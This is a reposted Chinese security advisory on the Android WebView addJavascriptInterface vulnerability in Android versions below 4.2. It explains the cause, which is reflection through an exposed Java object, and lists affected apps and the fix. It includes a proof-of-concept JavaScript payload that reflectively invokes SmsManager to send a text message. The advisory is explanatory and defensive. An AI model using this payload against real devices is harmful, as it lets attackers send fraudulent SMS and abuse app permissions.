• Android WebView漏洞(转)


    一、漏洞描述

      近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件、向好友 发送欺诈短信、通讯录和短信被窃取等严重后果。在乌云漏洞平台上,包括安卓版微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批应用 均被曝光同类型漏洞。


    二、影响版本

      Android系统版本低于4.2


    三、漏洞原理

       漏洞点:WebView.addJavascriptInterface(Object obj, String interfaceName) ;

       漏洞触发条件:

            1、使用WebView.addJavascriptInterface方法注册可供javascript调用的java对象。

            2、使用WebView加载外部网页。

            3、Android系统版本低于4.2

       漏洞原因:

            Android系统通过WebView.addJavascriptInterface 方法注册可供javascript调用的java对象,以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类,最终导致javascript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。


           


     四、POC代码

             我们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)

    1 WebView webview = new WebView(context);
    2 
    3 WebSettings webset= webview.getSettings();
    4 webset.setJavaScriptEnabled(true);
    5 webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

     

     

             利用该漏洞的外部javascript脚本:

    1 <script>
    2 
    3    var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
    4 
    5    obj_smsManager.sendTextMessage("159********",null,"test",null,null);
    6 
    7 </script>

     

     

      出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以 @JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。在各应用厂商修复该问题期间,我们建议用户暂时使用系统自带的浏览器访问网页,并且不要访问社交应用中陌生人发来 的链接。


    五、相关链接

            http://drops.wooyun.org/papers/548

            http://50.56.33.56/blog/?p=314

     

    本文转自http://blog.csdn.net/androidsecurity/article/details/11131891

  • 相关阅读:
    CSS选择器
    CSS框模型
    AJAX
    HTML 表单
    二叉树
    词嵌入、word2vec
    双向、深层循环神经网络
    20201012----每天都在进步吗?
    20201012--环境搭建
    20201011--记录一下
  • 原文地址:https://www.cnblogs.com/goodhacker/p/3343837.html
Copyright © 2020-2023  润新知